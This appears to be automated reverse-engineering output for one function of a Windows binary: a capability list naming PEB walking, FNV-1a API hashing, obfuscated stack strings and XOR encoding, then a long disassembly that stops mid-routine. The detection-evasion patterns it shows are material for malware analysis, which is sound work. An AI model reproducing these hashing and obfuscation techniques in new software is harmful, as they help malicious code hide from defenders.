Function at 0x140135f54
Capabilities:
Access peb ldr_data
Authenticate hmac
Check os version
Contain obfuscated stackstrings
Encode data using xor
Enumerate gui resources
Enumerate process modules
Hash data using fnv
Parse pe header
Resolve function by fnv-1a hash
Resolve function by parsing pe exports

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rax - 0x1388]
mov eax, 0x1460
call fcn.1401cb0e0
sub rsp, rax
mov rax, qword [0x14030ff40]
xor rax, rsp
mov qword [rbp + 0x1350], rax
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x1f0], xmm0
mov qword [rbp + 0x200], rax
lea rax, [rbp + 0x1388]
movabs r14, 0xff00ff00ff00ff07
mov qword [rbp + 0x1f8], r14
mov qword [rbp + 0x200], rax
mov rax, qword [rax]
xor rax, r14
mov qword [rbp + 0x1f0], rax
xor eax, eax
movups xmmword [rbp + 0x100], xmm0
mov qword [rbp + 0x110], rax
lea rax, [rbp + 0x1388]
mov qword [rbp + 0x108], r14
mov qword [rbp + 0x110], rax
mov qword [rbp + 0x100], r14
and qword [rax], 0
xor ecx, ecx
mov esi, 0x1f4
lea r12d, [rcx + 0x40]
lea r15d, [rcx + 3]
lea r13d, [r12 + 0x40]
lea rdi, [0x1401263d8]
lea rbx, [0x140000000]
mov rax, qword [0x1403197d0]
test rax, rax
je 0x140136059
xor edx, edx
cmp rax, rdi
je 0x140136048
inc ecx
mov edx, ecx
mov rax, qword [rbx + rcx*8 + 0x3197d0]
test rax, rax
jne 0x140136030
jmp 0x140136059
mov rdx, qword [rbx + rdx*8 + 0x319af0]
test rdx, rdx
jne 0x140136129
mov r9d, r12d
mov r8d, 0x1000
mov rdx, rsi
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov rdx, rax
test rax, rax
je 0x140136108
mov rax, rdi
mov rcx, rdx
mov r8, r15
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
add rcx, r13
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
add rax, r13
sub r8, 1
jne 0x140136082
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
mov eax, dword [rax + 0x70]
mov dword [rcx + 0x70], eax
mov rax, qword [0x1403197c8]
mov qword [rbx + rax*8 + 0x3197d0], rdi
mov qword [rbx + rax*8 + 0x319af0], rdx
inc rax
mov qword [0x1403197c8], rax
lea rcx, [0x140130ad4]
call rdx
nop
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x100], xmm0
mov qword [rbp + 0x110], rax
lea rax, [rbp + 0x1388]
mov qword [rbp + 0x108], r14
mov qword [rbp + 0x110], rax
mov qword [rbp + 0x100], r14
and qword [rax], 0
xor ecx, ecx
mov rax, qword [0x1403197d0]
test rax, rax
je 0x14013619f
xor edx, edx
cmp rax, rdi
je 0x14013618e
inc ecx
mov edx, ecx
mov rax, qword [rbx + rcx*8 + 0x3197d0]
test rax, rax
jne 0x140136176
jmp 0x14013619f
mov rdx, qword [rbx + rdx*8 + 0x319af0]
test rdx, rdx
jne 0x14013626f
mov r9d, r12d
mov r8d, 0x1000
mov rdx, rsi
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov rdx, rax
test rax, rax
je 0x14013624e
mov rax, rdi
mov rcx, rdx
mov r8, r15
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
add rcx, r13
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
add rax, r13
sub r8, 1
jne 0x1401361c8
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
mov eax, dword [rax + 0x70]
mov dword [rcx + 0x70], eax
mov rax, qword [0x1403197c8]
mov qword [rbx + rax*8 + 0x3197d0], rdi
mov qword [rbx + rax*8 + 0x319af0], rdx
inc rax
mov qword [0x1403197c8], rax
lea rcx, [0x14012e8a4]
call rdx
nop
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x100], xmm0
mov qword [rbp + 0x110], rax
lea rax, [rbp + 0x1388]
mov qword [rbp + 0x108], r14
mov qword [rbp + 0x110], rax
mov qword [rbp + 0x100], r14
and qword [rax], 0
xor ecx, ecx
mov rax, qword [0x1403197d0]
test rax, rax
je 0x1401362e5
xor edx, edx
cmp rax, rdi
je 0x1401362d4
inc ecx
mov edx, ecx
mov rax, qword [rbx + rcx*8 + 0x3197d0]
test rax, rax
jne 0x1401362bc
jmp 0x1401362e5
mov rdx, qword [rbx + rdx*8 + 0x319af0]
test rdx, rdx
jne 0x1401363b5
mov r9d, r12d
mov r8d, 0x1000
mov rdx, rsi
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov rdx, rax
test rax, rax
je 0x140136394
mov rax, rdi
mov rcx, rdx
mov r8, r15
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
add rcx, r13
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
add rax, r13
sub r8, 1
jne 0x14013630e
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
mov eax, dword [rax + 0x70]
mov dword [rcx + 0x70], eax
mov rax, qword [0x1403197c8]
mov qword [rbx + rax*8 + 0x3197d0], rdi
mov qword [rbx + rax*8 + 0x319af0], rdx
inc rax
mov qword [0x1403197c8], rax
lea rcx, [0x1401628dc]
call rdx
nop
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x100], xmm0
mov qword [rbp + 0x110], rax
lea r14, [rbp + 0x1388]
movabs rax, 0xff00ff00ff00ff07
mov qword [rbp + 0x108], rax
mov qword [rbp + 0x110], r14
mov qword [rbp + 0x100], rax
and qword [r14], 0
xor ecx, ecx
mov rax, qword [0x1403197d0]
test rax, rax
je 0x140136435
xor edx, edx
cmp rax, rdi
je 0x140136424
inc ecx
mov edx, ecx
mov rax, qword [rbx + rcx*8 + 0x3197d0]
test rax, rax
jne 0x14013640c
jmp 0x140136435
mov rdx, qword [rbx + rdx*8 + 0x319af0]
test rdx, rdx
jne 0x140136505
mov r9d, r12d
mov r8d, 0x1000
mov rdx, rsi
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov rdx, rax
test rax, rax
je 0x1401364e4
mov rax, rdi
mov rcx, rdx
mov r8, r15
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
add rcx, r13
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
add rax, r13
sub r8, 1
jne 0x14013645e
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
mov eax, dword [rax + 0x70]
mov dword [rcx + 0x70], eax
mov rax, qword [0x1403197c8]
mov qword [rbx + rax*8 + 0x3197d0], rdi
mov qword [rbx + rax*8 + 0x319af0], rdx
inc rax
mov qword [0x1403197c8], rax
lea rcx, [0x14012e990]
call rdx
nop
movabs rcx, 0xff00ff00ff00ff07
mov rax, rcx
xor rax, rcx
mov qword [r14], rax
and qword [rsp + 0x28], 0
and dword [rsp + 0x20], 0
xor r9d, r9d
lea r8, [0x1401422d8]
xor edx, edx
xor ecx, ecx
call fcn.140130e84
mov qword [0x140319770], rax
and qword [rsp + 0x28], 0
and dword [rsp + 0x20], 0
xor r9d, r9d
lea r8, [0x14012685c]
xor edx, edx
xor ecx, ecx
call fcn.140130e84
mov qword [0x140319778], rax
mov byte [0x140319749], 1
mov r12d, 8
mov r13d, 0x811c9dc5
cmp qword [0x140319770], 0
je 0x1401368e7
test rax, rax
je 0x1401368e7
call fcn.140130b1c
test al, al
je 0x1401368e7
mov rcx, qword [0x140319770]
call qword [sym.imp.KERNEL32.dll_GetThreadId]
test eax, eax
je 0x1401368e7
mov rcx, qword [0x140319778]
call qword [sym.imp.KERNEL32.dll_GetThreadId]
test eax, eax
je 0x1401368e7
mov edi, 0xbb21e02e
mov rdx, qword [0x140319e60]
test rdx, rdx
jne 0x14013674f
xor ebx, ebx
mov esi, edi
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov r15, qword [rax]
mov r10, r15
movups xmm0, xmmword [r10 + 0x58]
movd eax, xmm0
sub ax, r12w
test ebx, ebx
je 0x140136643
psrldq xmm0, 8
movq rcx, xmm0
movzx eax, ax
shr rax, 1
lea r8, [rcx + rax*2]
mov edx, r13d
jmp 0x140136636
movsx eax, byte [rcx]
xor eax, edx
imul edx, eax, 0x1000193
add rcx, 2
cmp rcx, r8
jne 0x140136627
cmp edx, ebx
jne 0x140136724
mov r8, qword [r10 + 0x30]
movsxd rax, dword [r8 + 0x3c]
mov rax, qword [rax + r8 + 0x88]
mov r9d, eax
add r9, r8
shr rax, 0x20
cmp r9, r8
je 0x140136724
mov r11d, dword [r9 + 0x18]
test r11d, r11d
je 0x140136724
mov r13d, dword [r9 + 0x20]
dec r11d
lea rcx, [r11*4]
add rcx, r13
mov edx, dword [rcx + r8]
add rdx, r8
mov r14d, 0x811c9dc5
jmp 0x1401366a1
movsx ecx, cl
xor ecx, r14d
imul r14d, ecx, 0x1000193
mov cl, byte [rdx]
inc rdx
test cl, cl
jne 0x140136694
cmp r14d, esi
je 0x1401366bc
test r11d, r11d
jne 0x140136677
mov r13d, 0x811c9dc5
jmp 0x14013671e
mov edx, dword [r9 + 0x1c]
add rdx, r8
mov ecx, dword [r9 + 0x24]
add rcx, r8
movzx ecx, word [rcx + r11*2]
mov edx, dword [rdx + rcx*4]
add rdx, r8
cmp rdx, r9
jbe 0x14013673c
lea rcx, [rax + r9]
cmp rdx, rcx
jae 0x14013673c
mov r13d, 0x811c9dc5
mov ebx, r13d
mov esi, r13d
jmp 0x1401366ff
movsx eax, al
xor eax, ebx
imul ebx, eax, 0x1000193
inc rdx
mov al, byte [rdx]
cmp al, 0x2e
jne 0x1401366f1
jmp 0x140136712
movsx eax, al
xor eax, esi
imul esi, eax, 0x1000193
inc rdx
mov al, byte [rdx]
test al, al
jne 0x140136707
mov r10, qword [r15]
mov r12d, 8
mov rax, qword [r10]
mov r10, rax
cmp rax, r15
je 0x14013673a
cmp qword [rax + 0x30], 0
jne 0x1401365fd
xor edx, edx
mov qword [0x140319e60], rdx
mov r13d, 0x811c9dc5
mov r12d, 8
mov rcx, qword [0x140319770]
call rdx
mov rdx, qword [0x140319e60]
test rdx, rdx
jne 0x1401368ae
xor ebx, ebx
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov r14, qword [rax]
mov r10, r14
movups xmm0, xmmword [r10 + 0x58]
movd eax, xmm0
sub ax, r12w
test ebx, ebx
je 0x1401367c7
psrldq xmm0, 8
movq rcx, xmm0
movzx eax, ax
shr rax, 1
lea r8, [rcx + rax*2]
mov edx, r13d
jmp 0x1401367ba
movsx eax, byte [rcx]
xor eax, edx
imul edx, eax, 0x1000193
add rcx, 2
cmp rcx, r8
jne 0x1401367ab
cmp edx, ebx
jne 0x14013688f
mov r8, qword [r10 + 0x30]
movsxd rax, dword [r8 + 0x3c]
mov rax, qword [rax + r8 + 0x88]
mov r9d, eax
add r9, r8
shr rax, 0x20
cmp r9, r8
je 0x14013688f
mov r11d, dword [r9 + 0x18]
test r11d, r11d
je 0x14013688f
mov r12d, dword [r9 + 0x20]
dec r11d
lea rcx, [r12 + r11*4]
mov edx, dword [rcx + r8]
add rdx, r8
mov esi, r13d
jmp 0x140136819
movsx ecx, cl
xor ecx, esi
imul esi, ecx, 0x1000193
mov cl, byte [rdx]
inc rdx
test cl, cl
jne 0x14013680e
cmp esi, edi
je 0x14013682d
test r11d, r11d
jne 0x1401367fb
jmp 0x140136889
mov edx, dword [r9 + 0x1c]
add rdx, r8
mov ecx, dword [r9 + 0x24]
add rcx, r8
movzx ecx, word [rcx + r11*2]
mov edx, dword [rdx + rcx*4]
add rdx, r8
cmp rdx, r9
jbe 0x1401368a7
lea rcx, [rax + r9]
cmp rdx, rcx
jae 0x1401368a7
mov ebx, r13d
mov edi, r13d
jmp 0x14013686a
movsx eax, al
xor eax, ebx
imul ebx, eax, 0x1000193
inc rdx
mov al, byte [rdx]
cmp al, 0x2e
jne 0x14013685c
jmp 0x14013687d
movsx eax, al
xor eax, edi
imul edi, eax, 0x1000193
inc rdx
mov al, byte [rdx]
test al, al
jne 0x140136872
mov r10, qword [r14]
mov r12d, 8
mov rax, qword [r10]
mov r10, rax
cmp rax, r14
je 0x1401368a5
cmp qword [rax + 0x30], 0
jne 0x140136781
xor edx, edx
mov qword [0x140319e60], rdx
mov rcx, qword [0x140319778]
call rdx
mov rcx, qword [0x140319770]
call fcn.14015c130
mov rcx, qword [0x140319778]
call fcn.14015c130
mov rcx, qword [0x140319770]
call fcn.14015a8dc
mov rcx, qword [0x140319778]
call fcn.14015a8dc
xor edx, edx
mov r8d, 0x108
lea rcx, [rbp + 0x230]
call sub.VCRUNTIME140.dll_memset
mov byte [rbp + 0x120], reloc.WLDAP32.dll_Ordinal_27
mov byte [rbp + 0x121], reloc.WS2_32.dll_send
mov byte [rbp + 0x122], 0x7e
mov byte [rbp + 0x123], reloc.WS2_32.dll_WSACleanup
mov byte [rbp + 0x124], Ordinal_79
mov byte [rbp + 0x125], 0x43
mov byte [rbp + 0x126], Ordinal_79
mov byte [rbp + 0x127], 0x40
mov byte [rbp + 0x128], 0x5f
mov byte [rbp + 0x129], 0x42
mov byte [rbp + 0x12a], 0x76
mov byte [rbp + 0x12b], 0x60
mov byte [rbp + 0x12c], 0x45
mov byte [rbp + reloc.WLDAP32.dll_Ordinal_301], 0x5e
mov byte [rbp + 0x12e], 0x42
mov byte [rbp + 0x12f], 0x52
mov byte [rbp + 0x130], 0x5d
mov byte [rbp + 0x131], reloc.WLDAP32.dll_Ordinal_26
mov byte [rbp + 0x132], Ordinal_30
mov byte [rbp + 0x133], reloc.WS2_32.dll_WSAGetLastError
mov byte [rbp + 0x134], 0x78
mov byte [rbp + 0x135], 0x57
mov byte [rbp + 0x136], 0x5f
mov byte [rbp + 0x137], Ordinal_79
mov byte [rbp + 0x138], 0x5d
mov byte [rbp + 0x139], 0x53
mov byte [rbp + 0x13a], 0x51
mov byte [rbp + 0x13b], 0x67
mov byte [rbp + 0x13c], 0
mov byte [rbp + 0x13d], Ordinal_41
mov byte [rbp + 0x13e], Ordinal_33
mov byte [rbp + 0x13f], 0
mov byte [rbp + 0x140], gethostname
mov byte [rbp + 0x141], Ordinal_30
mov byte [rbp + 0x142], Ordinal_41
mov byte [rbp + 0x143], Ordinal_41
mov byte [rbp + 0x144], 0x62
mov byte [rbp + 0x145], Ordinal_41
mov byte [rbp + 0x146], 0x3f
mov byte [rbp + 0x147], Ordinal_41
mov byte [rbp + 0x148], 0xb0
xor eax, eax
mov qword [rbp + 0x149], rax
mov byte [rbp + 0x151], al
movabs rsi, 0x7a3bd6ed5c15be24
lea r12d, [rax + 0x12]
lea r13d, [rax + 0x30]
lea r15d, [rax + 0x1e]
mov r14b, 0x6c
mov dil, byte [rsp + 0x40]
call fcn.1400a1a30
mov rbx, qword [rax]
call fcn.1400a1a40
mov r10, qword [rax]
xor r9d, r9d
cmp r9, 0x32
jae 0x1401374a0
movzx r8d, byte [rbp + r9 + 0x120]
mov r11b, r8b
cmp rbx, r9
ja 0x140137497
lea rax, [r10 + 1]
cmp rbx, rax
jae 0x140136a9c
lea rcx, [r9 + rsi]
mov rax, rcx
and rax, r8
imul rdi, rax, 0xfffffffffffffffe
add rdi, rcx
add rdi, r8
add dil, 4
jmp 0x140136ad6
je 0x140137419
lea rax, [r10 + 2]
cmp rbx, rax
je 0x1401373a2
lea rax, [r10 + 3]
cmp rbx, rax
je 0x140137370
lea rax, [r10 + 5]
cmp rbx, rax
je 0x140137322
lea rax, [r10 + 6]
cmp rbx, rax
je 0x1401372d8
mov r11b, r8b
cmp r10, r9
ja 0x14013748e
lea rax, [r10 + 2]
cmp rbx, rax
jae 0x140136aff
movabs rcx, 0x6e8a1788dc898f4
mov edx, Ordinal_46
jmp 0x140136d07
lea rax, [r10 + 1]
cmp rbx, rax
je 0x1401372c7
lea rax, [r10 + 4]
cmp rbx, rax
je 0x1401372a1
lea rax, [r10 + 6]
cmp rbx, rax
je 0x14013727e
lea rax, [r10 + 8]
cmp rbx, rax
je 0x14013725b
lea rax, [r10 + rbx]
cmp rax, r9
jbe 0x140137015
lea rax, [r10 + 0x40]
cmp rbx, rax
je 0x140136ffb
lea rax, [r10 + 0x1000]
cmp rbx, rax
je 0x140136fe0
lea rax, [r10 + 0x20]
cmp rbx, rax
je 0x140136fc2
lea rax, [r10 + 2]
cmp rbx, rax
je 0x1401370b4
lea rax, [r10 + 0x3e8]
cmp rbx, rax
je 0x140136fa8
lea rax, [r10 + 0xa]
cmp rbx, rax
je 0x140136f8e
lea rax, [r10 + 0x2a]
cmp rbx, rax
je 0x140136f72
lea rax, [r10 + 0x80]
cmp rbx, rax
je 0x140136f55
lea rax, [r10 + 8]
cmp rbx, rax
je 0x140136f3a
lea rax, [r10 + 0x41]
cmp rbx, rax
je 0x140136b40
mov rbx, rax
lea r10, [rax + 0x42]
lea rax, [r10 + 0x42]
cmp rbx, rax
jb 0x140137470
lea rax, [r10 + 5]
cmp rbx, rax
jb 0x140137451
lea rax, [r10 + 0x28]
cmp rbx, rax
jb 0x140136d44
lea rax, [r10 + 3]
cmp rbx, rax
jb 0x140136d1f
lea rax, [r10 + 0x400]
cmp rbx, rax
jb 0x140136cf8
lea rax, [r10 + 0x10]
cmp rbx, rax
jb 0x140136e93
lea rax, [r10 + 1]
cmp rbx, rax
jb 0x140136e7d
lea rax, [r10 + 0x200]
cmp rbx, rax
jb 0x140136e6f
lea rax, [r10 + 9]
cmp rbx, rax
jb 0x140136e49
lea rax, [r10 + 0x5a]
cmp rbx, rax
jb 0x140136b40
mov rbx, rax
lea r10, [rax + 0x64]
lea rax, [r10 + 0x64]
cmp rbx, rax
ja 0x140136e3d
lea rax, [r10 + 6]
cmp rbx, rax
ja 0x140136e22
lea rax, [r10 + 0x7a]
cmp rbx, rax
ja 0x140136e04
lea rax, [r10 + 4]
cmp rbx, rax
ja 0x140136df6
lea rax, [r10 + 0x1000]
cmp rbx, rax
ja 0x140136dd8
lea rax, [r10 + 0x20]
cmp rbx, rax
ja 0x140136dbb
lea rax, [r10 + 2]
cmp rbx, rax
ja 0x140136da0
lea rax, [r10 + 0x3e8]
cmp rbx, rax
ja 0x140136d85
lea rax, [r10 + 0xa]
cmp rbx, rax
ja 0x140136d6b
lea rax, [r10 + 0x2a]
cmp rbx, rax
ja 0x140136b40
mov rbx, rax
lea r10, [rax + 0x80]
jmp 0x140136b40
movabs rcx, 0x5e7db2e0ffce3d8c
mov edx, reloc.WLDAP32.dll_Ordinal_22
add rcx, r9
mov al, r8b
and al, cl
sub dl, al
lea edi, [rdx + rdx]
add dil, cl
add dil, r11b
jmp 0x140136b33
movabs rcx, 0x6a06050647a2c144
add rcx, r9
mov al, r8b
and al, cl
mov edx, r12d
sub dl, al
lea edi, [rdx + rdx]
add dil, cl
add dil, r11b
jmp 0x140136ad9
movabs rcx, 0x758e572b8f7744fc
add rcx, r9
mov al, r8b
and al, cl
mov edx, reloc.WS2_32.dll_ntohl
sub dl, al
lea edi, [rdx + rdx]
add dil, cl
add dil, r11b
jmp 0x140136a70
lea edx, [r9 - 0x60]
mov al, r8b
and al, dl
add al, al
mov dil, r8b
sub dil, al
sub dil, 0x60
jmp 0x140137138
lea ecx, [r9 + 0x58]
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea edi, [rcx + r8]
sub dil, 0x68
jmp 0x140137317
lea ecx, [r9 + 0x10]
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea edi, [rcx + r8]
sub dil, 0x70
jmp 0x14013731a
lea edx, [r9 - 0x38]
mov al, r8b
and al, dl
add al, al
mov dil, r8b
sub dil, al
sub dil, 0x78
add dil, dl
jmp 0x140137346
lea ecx, [r9 + 0x80]
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea edi, [rcx + r8]
add dil, 0x80
jmp 0x14013736b
lea edx, [r9 + 0x38]
mov ecx, reloc.WLDAP32.dll_Ordinal_60
jmp 0x140137177
lea edx, [r9 - 0x10]
mov al, r8b
and al, dl
mov ecx, gethostname
sub cl, al
lea edi, [rcx + rcx]
add dil, r8b
add dil, dl
jmp 0x1401373c6
lea edx, [r9 - 0x58]
mov ecx, 0x34
mov al, r8b
and al, dl
sub cl, al
lea edi, [rcx + rcx]
add dil, r8b
jmp 0x140136f6a
lea edx, [r9 + 0x60]
mov ecx, r13d
jmp 0x1401371a0
lea edx, [r9 - 0x54]
mov al, r8b
and al, dl
mov ecx, Ordinal_41
sub cl, al
lea edi, [rcx + rcx]
add dil, r8b
add dil, dl
mov byte [rbp + r9 + 0x120], dil
jmp 0x140137449
lea edx, [r9 + 0x64]
mov ecx, Ordinal_35
jmp 0x140136f01
lea edx, [r9 + 0x1c]
mov al, r8b
and al, dl
mov ecx, r15d
sub cl, al
lea edi, [rcx + rcx]
add dil, r8b
jmp 0x140136ede
lea edx, [r9 - 0x2c]
mov al, r8b
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_26
sub cl, al
lea edi, [rcx + rcx]
add dil, r8b
add dil, dl
lea rax, [r10 + rbx]
cmp rax, 0x7a
je 0x140137244
lea rax, [r10 + 0x40]
cmp rbx, rax
jbe 0x14013711a
mov dl, r9b
sub dl, r14b
mov al, r8b
and al, dl
add al, al
mov dil, r8b
sub dil, al
sub dil, 0xc
add dil, dl
cmp rbx, 0x41
jae 0x140137221
lea rax, [r10 + 0x42]
cmp rbx, rax
jbe 0x1401371b5
lea edx, [r9 - 0x78]
mov ecx, 0x24
mov al, r8b
and al, dl
sub cl, al
lea edi, [rcx + rcx]
add dil, r8b
add dil, dl
cmp r10, 0x5a
jb 0x140136e62
lea edx, [r9 + 0x58]
mov al, r8b
and al, dl
mov ecx, ntohl
sub cl, al
add cl, cl
add cl, r8b
add cl, dl
lea edi, [rcx + rcx]
jmp 0x1401372fc
lea ecx, [r9 - 0x48]
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea edi, [rcx + r8]
sub dil, 8
jmp 0x14013743a
lea edx, [r9 + 0x70]
mov al, r8b
and al, dl
add al, al
mov dil, r8b
sub dil, al
sub dil, 0x10
add dil, dl
jmp 0x1401373ef
mov dl, r9b
lea ecx, [rdx + 0x28]
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x18
jmp 0x1401373c9
lea ecx, [r9 - 0x20]
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x20
jmp 0x14013738f
lea ecx, [r9 - 0x68]
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x28
jmp 0x14013736b
mov ecx, 8
add ecx, r9d
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x38
jmp 0x14013731a
lea ecx, [r9 - 0x40]
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea edi, [rcx + r8]
sub dil, 0x40
jmp 0x140137317
lea ecx, [r9 + 0x78]
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x48
jmp 0x1401372fc
lea rax, [r10 + 0x28]
cmp rbx, rax
jae 0x14013703c
lea rcx, [r9 + rsi]
mov al, r8b
and al, cl
mov edx, 2
sub dl, al
lea edi, [rdx + rdx]
add dil, cl
add dil, r11b
jmp 0x140136eac
lea rax, [r10 + 1]
cmp rbx, rax
jne 0x14013705f
lea ecx, [r9 - 0x18]
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x58
jmp 0x14013743a
lea rax, [r10 + 2]
cmp rbx, rax
jne 0x140137084
mov dl, r9b
lea ecx, [rdx + 0x78]
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x48
jmp 0x1401373c9
lea rax, [r10 + 3]
cmp rbx, rax
jne 0x1401370ab
mov ecx, 8
add ecx, r9d
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x38
jmp 0x14013736b
lea rax, [r10 + 4]
cmp rbx, rax
jne 0x1401370d0
mov r11b, r9b
lea ecx, [r11 + 0x50]
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, r13b
jmp 0x140137349
lea rax, [r10 + 7]
cmp rbx, rax
jne 0x1401370f3
lea ecx, [r9 - 0x68]
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x28
jmp 0x14013731a
lea rax, [r10 + 5]
cmp rbx, rax
jne 0x140136eac
lea ecx, [r9 - 0x20]
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x20
jmp 0x140137317
lea rax, [r10 + 1]
cmp rbx, rax
jne 0x140137140
lea edx, [r9 - 0x24]
mov al, r8b
and al, dl
add al, al
mov dil, r8b
sub dil, al
sub dil, 4
add dil, dl
jmp 0x1401372fc
lea rax, [r10 + 3]
cmp rbx, rax
jne 0x140137167
lea edx, [r14 + r9]
mov al, r8b
and al, dl
mov ecx, 6
sub cl, al
lea edi, [rcx + rcx]
add dil, r8b
add dil, dl
jmp 0x14013731a
lea rax, [r10 + 5]
cmp rbx, rax
jne 0x14013718c
lea edx, [r9 + 0x44]
mov ecx, r12d
mov al, r8b
and al, dl
sub cl, al
lea edi, [rcx + rcx]
add dil, r8b
add dil, dl
jmp 0x14013738f
